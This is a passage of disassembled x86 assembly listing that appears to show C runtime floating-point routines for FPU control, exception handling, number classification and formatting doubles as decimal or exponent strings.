ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C76E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2850000h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41C267 and dword ptr [esi], 0FFFFFFFEh loc_41C267: ; CODE XREF: sub_41C040+222j test byte ptr [eax+8], 8 jz short loc_41C270 and dword ptr [esi], 0FFFFFFFBh loc_41C270: ; CODE XREF: sub_41C040+22Bj test byte ptr [eax+8], 4 jz short loc_41C279 and dword ptr [esi], 0FFFFFFF7h loc_41C279: ; CODE XREF: sub_41C040+234j test byte ptr [eax+8], 2 jz short loc_41C282 and dword ptr [esi], 0FFFFFFEFh loc_41C282: ; CODE XREF: sub_41C040+23Dj test [eax+8], bl jz short loc_41C28A and dword ptr [esi], 0FFFFFFDFh loc_41C28A: ; CODE XREF: sub_41C040+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41C2BE dec ecx jz short loc_41C2B2 dec ecx jz short loc_41C2A8 dec ecx jnz short loc_41C2C0 or byte ptr [esi+1], 0Ch jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2A8: ; CODE XREF: sub_41C040+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41C2BA ; --------------------------------------------------------------------------- loc_41C2B2: ; CODE XREF: sub_41C040+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41C2BA: ; CODE XREF: sub_41C040+270j mov [esi], ecx jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2BE: ; CODE XREF: sub_41C040+257j and [esi], edx loc_41C2C0: ; CODE XREF: sub_41C040+260j ; sub_41C040+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41C2E0 dec ecx jz short loc_41C2D7 dec ecx jnz short loc_41C2E9 and [esi], edx jmp short loc_41C2E9 ; --------------------------------------------------------------------------- loc_41C2D7: ; CODE XREF: sub_41C040+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41C2E7 ; --------------------------------------------------------------------------- loc_41C2E0: ; CODE XREF: sub_41C040+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41C2E7: ; CODE XREF: sub_41C040+29Ej mov [esi], ecx loc_41C2E9: ; CODE XREF: sub_41C040+291j ; sub_41C040+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41C040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C31E test byte ptr [ebp+arg_8], bl jz short loc_41C31E push ebx call sub_41C7A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C31E: ; CODE XREF: sub_41C2F3+15j ; sub_41C2F3+1Aj test al, 4 jz short loc_41C338 test byte ptr [ebp+arg_8], 4 jz short loc_41C338 push 4 call sub_41C7A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C2F3+2Dj ; sub_41C2F3+33j test al, bl jz loc_41C412 test byte ptr [ebp+arg_8], 8 jz loc_41C412 push 8 call sub_41C7A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C3EA cmp ecx, 400h jz short loc_41C3C2 cmp ecx, 800h jz short loc_41C39A cmp ecx, eax jnz loc_41C40A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_435FA0 fnstsw ax sahf ja short loc_41C392 fchs loc_41C392: ; CODE XREF: sub_41C2F3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3B2 fld dbl_435F90 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j fld dbl_435FA0 fchs loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C2F3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3DA fld dbl_435FA0 jmp short loc_41C3E2 ; --------------------------------------------------------------------------- loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj fld dbl_435F90 fchs loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3EA: ; CODE XREF: sub_41C2F3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_435F90 fnstsw ax sahf ja short loc_41C402 fchs loc_41C402: ; CODE XREF: sub_41C2F3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C408: ; CODE XREF: sub_41C2F3+A5j ; sub_41C2F3+CDj ... fstp qword ptr [ecx] loc_41C40A: ; CODE XREF: sub_41C2F3+81j and edi, 0FFFFFFFEh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C412: ; CODE XREF: sub_41C2F3+47j ; sub_41C2F3+51j test al, 2 jz loc_41C4E8 test byte ptr [ebp+arg_8], 10h jz loc_41C4E8 push esi xor esi, esi test al, 10h jz short loc_41C42D mov esi, ebx loc_41C42D: ; CODE XREF: sub_41C2F3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jz loc_41C4D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C69F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C478 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C4CC ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C2F3+17Aj fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jnb short loc_41C48A mov edx, ebx jmp short loc_41C48C ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C2F3+191j xor edx, edx loc_41C48C: ; CODE XREF: sub_41C2F3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C4C0 sub eax, ecx loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C4AE test esi, esi jnz short loc_41C4AE mov esi, ebx loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j ; sub_41C2F3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C4BA or byte ptr [ebp+var_C+3], 80h loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C4A3 loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj test edx, edx jz short loc_41C4CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C4CC: ; CODE XREF: sub_41C2F3+183j ; sub_41C2F3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C4D8 ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej mov esi, ebx loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j test esi, esi pop esi jz short loc_41C4E5 push 10h call sub_41C7A0 pop ecx loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j and edi, 0FFFFFFFDh loc_41C4E8: ; CODE XREF: sub_41C2F3+26j ; sub_41C2F3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C4FF test byte ptr [ebp+arg_8], 20h jz short loc_41C4FF push 20h call sub_41C7A0 pop ecx and edi, 0FFFFFFEFh loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j ; sub_41C2F3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int) sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp ; sub_41BFA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C5B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C575 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C77D lea eax, [ebp+var_20] push eax call sub_42017F add esp, 0Ch test eax, eax jnz short loc_41C56F push esi call sub_41C592 pop ecx loc_41C56F: ; CODE XREF: sub_41C50A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C575: ; CODE XREF: sub_41C50A+14j push 0FFFFh push [ebp+arg_20] call sub_41C77D push [ebp+arg_0] call sub_41C592 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C50A endp ; =============== S U B R O U T I N E ======================================= sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp ; sub_41C50A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C5AD jle short locret_41C5B7 cmp eax, 3 jg short locret_41C5B7 mov dword_4CD9B4, 22h retn ; --------------------------------------------------------------------------- loc_41C5AD: ; CODE XREF: sub_41C592+7j mov dword_4CD9B4, 21h locret_41C5B7: ; CODE XREF: sub_41C592+9j ; sub_41C592+Ej retn sub_41C592 endp ; =============== S U B R O U T I N E ======================================= sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_435EB8 loc_41C5BF: ; CODE XREF: sub_41C5B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C5D5 add eax, 8 inc ecx cmp eax, offset dbl_435F90 jl short loc_41C5BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj mov eax, off_435EBC[ecx*8] retn sub_41C5B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C5E9 push 5 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C5DD+6j test al, 8 jz short loc_41C5F1 push 1 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej test al, 4 jz short loc_41C5F9 push 2 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5DD+16j test al, 1 jz short loc_41C601 push 3 loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj ; sub_41C5DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C601: ; CODE XREF: sub_41C5DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C5DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C60A(double) sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap ; sub_417DEB:loc_417E71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C60A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C61C(double,int) sub_41C61C proc near ; CODE XREF: sub_41C69F+82p ; sub_41C69F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_417CA4+31p ; sub_417DEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C65C cmp [ebp+arg_0], edx jnz short loc_41C66E push 1 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C65C: ; CODE XREF: sub_41C645+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C66E cmp [ebp+arg_0], edx jnz short loc_41C66E push 2 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C66E: ; CODE XREF: sub_41C645+11j ; sub_41C645+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C681 push 3 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C681: ; CODE XREF: sub_41C645+36j cmp cx, 7FF0h jnz short loc_41C69B test [ebp+arg_4], 7FFFFh jnz short loc_41C696 cmp [ebp+arg_0], edx jz short loc_41C69B loc_41C696: ; CODE XREF: sub_41C645+4Aj push 4 loc_41C698: ; CODE XREF: sub_41C645+15j ; sub_41C645+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C645+41j ; sub_41C645+4Fj xor eax, eax pop ebp retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C69F(double,int) sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_424818 push esi fnstsw ax sahf jnz short loc_41C6BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C755 ; --------------------------------------------------------------------------- loc_41C6BF: ; CODE XREF: sub_41C69F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C72E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C6D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C72E loc_41C6D7: ; CODE XREF: sub_41C69F+31j fld [ebp+arg_0] fcomp dbl_424818 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C6EF push 1 pop eax jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EF: ; CODE XREF: sub_41C69F+49j xor eax, eax loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej ; sub_41C69F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C70A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C704 or dword ptr [ebp+arg_0+4], 1 loc_41C704: ; CODE XREF: sub_41C69F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C70A: ; CODE XREF: sub_41C69F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C718 or byte ptr [ebp+arg_0+7], 80h loc_41C718: ; CODE XREF: sub_41C69F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C755 ; --------------------------------------------------------------------------- loc_41C72E: ; CODE XREF: sub_41C69F+28j ; sub_41C69F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C755: ; CODE XREF: sub_41C69F+1Bj ; sub_41C69F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C69F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C760 proc near ; CODE XREF: sub_41C040+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76E proc near ; CODE XREF: sub_41C040+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C77D proc near ; CODE XREF: sub_417CA4+13p ; sub_417CA4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp ; sub_41C2F3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C7B7 fld tbyte_435FB8 fistp [ebp+arg_0] wait loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj test cl, 8 jz short loc_41C7CC fstsw ax fld tbyte_435FB8 fstp [ebp+var_8] wait fstsw ax loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj test cl, 10h jz short loc_41C7DB fld tbyte_435FC4 fstp [ebp+var_8] wait loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj test cl, 4 jz short loc_41C7E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej test cl, 20h jz short locret_41C7F4 fldpi fstp [ebp+var_8] wait locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj leave retn sub_41C7A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp push 30000h push 10000h call sub_4201B7 pop ecx pop ecx retn sub_41C7F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_424828 fstp [ebp+var_8] fld dbl_424820 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4246A8 fnstsw ax sahf jbe short loc_41C842 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C842: ; CODE XREF: sub_41C808+33j xor eax, eax leave retn sub_41C808 endp ; =============== S U B R O U T I N E ======================================= sub_41C846 proc near ; CODE XREF: sub_417D73+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2720A08h test eax, eax jz short loc_41C86A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26F0000h test eax, eax jz short loc_41C86A push 0 call eax retn ; --------------------------------------------------------------------------- loc_41C86A: ; CODE XREF: sub_41C846+Dj ; sub_41C846+1Dj jmp sub_41C808 sub_41C846 endp ; =============== S U B R O U T I N E ======================================= sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp ; DATA XREF: sub_417D8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_419101 cmp eax, 65h pop ecx jz short loc_41C8AF loc_41C883: ; CODE XREF: sub_41C86F+3Ej inc esi cmp dword_433E7C, 1 jle short loc_41C89C movsx eax, byte ptr [esi] push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41C8AB ; --------------------------------------------------------------------------- loc_41C89C: ; CODE XREF: sub_41C86F+1Cj movsx eax, byte ptr [esi] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 4 loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj test eax, eax jnz short loc_41C883 loc_41C8AF: ; CODE XREF: sub_41C86F+12j mov cl, byte_433E80 mov al, [esi] mov [esi], cl inc esi loc_41C8BA: ; CODE XREF: sub_41C86F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C8BA pop esi retn sub_41C86F endp ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p ; DATA XREF: sub_417D8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_433E80 mov cl, [eax] test cl, cl jz short loc_41C8E5 loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj cmp cl, dl jz short loc_41C8E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C8D9 loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej ; sub_41C8C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C916 loc_41C8EC: ; CODE XREF: sub_41C8C9+34j mov cl, [eax] test cl, cl jz short loc_41C8FF cmp cl, 65h jz short loc_41C8FF cmp cl, 45h jz short loc_41C8FF inc eax jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C8C9+27j ; sub_41C8C9+2Cj ... mov ecx, eax loc_41C901: ; CODE XREF: sub_41C8C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C901 cmp [eax], dl jnz short loc_41C90C dec eax loc_41C90C: ; CODE XREF: sub_41C8C9+40j ; sub_41C8C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C90C locret_41C916: ; CODE XREF: sub_41C8C9+21j retn sub_41C8C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C917 proc near ; DATA XREF: sub_417D8B+28o ; ___:off_435FE0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_424818 fnstsw ax sahf jb short loc_41C92C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C92C: ; CODE XREF: sub_41C917+Fj xor eax, eax retn sub_41C917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C92F proc near ; CODE XREF: sub_41D797+430p ; DATA XREF: sub_417D8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C958 lea eax, [ebp+var_8] push eax call sub_42067A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C92F+Cj lea eax, [ebp+arg_8] push eax call sub_4206A7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p ; sub_41CC34+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4CDA24, 0 push ebx push esi jz short loc_41C9A2 mov ebx, [ebp+arg_8] mov eax, dword_4CDA20 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41CC85 pop ecx pop ecx jmp short loc_41C9DA ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C96D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_42074B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4206D4 add esp, 14h loc_41C9DA: ; CODE XREF: sub_41C96D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C9E6 mov byte ptr [eax], 2Dh inc eax loc_41C9E6: ; CODE XREF: sub_41C96D+73j test ebx, ebx jle short loc_41C9FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_433E80 mov eax, edi pop edi mov [eax], cl loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4CDA24, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4179C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41CA25 mov byte ptr [ecx], 45h loc_41CA25: ; CODE XREF: sub_41C96D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41CA6A mov ebx, [esi+4] dec ebx jns short loc_41CA39 neg ebx mov byte ptr [ecx], 2Dh loc_41CA39: ; CODE XREF: sub_41C96D+C5j inc ecx cmp ebx, 64h jl short loc_41CA50 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA50: ; CODE XREF: sub_41C96D+D0j inc ecx cmp ebx, 0Ah jl short loc_41CA67 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA67: ; CODE XREF: sub_41C96D+E7j add [ecx+1], bl loc_41CA6A: ; CODE XREF: sub_41C96D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C96D endp ; =============== S U B R O U T I N E ======================================= sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p ; sub_41CC34+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4CDA24, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41CAAC mov eax, dword_4CDA28 mov ebx, [esp+10h+arg_8] mov esi, dword_4CDA20 cmp eax, ebx jnz short loc_41CADC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41CADC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41CA71+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_42074B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4206D4 add esp, 14h loc_41CADC: ; CODE XREF: sub_41CA71+22j ; sub_41CA71+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41CAEA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41CAEA: ; CODE XREF: sub_41CA71+70j mov eax, [esi+4] test eax, eax jg short loc_41CB01 push 1 push edi call sub_41CC85 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41CB03 ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA71+7Ej add edi, eax loc_41CB03: ; CODE XREF: sub_41CA71+8Ej test ebx, ebx jle short loc_41CB48 push 1 push edi call sub_41CC85 mov al, byte_433E80 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41CB48 cmp byte_4CDA24, 0 jz short loc_41CB2D neg esi jmp short loc_41CB33 ; --------------------------------------------------------------------------- loc_41CB2D: ; CODE XREF: sub_41CA71+B6j neg esi cmp ebx, esi jl short 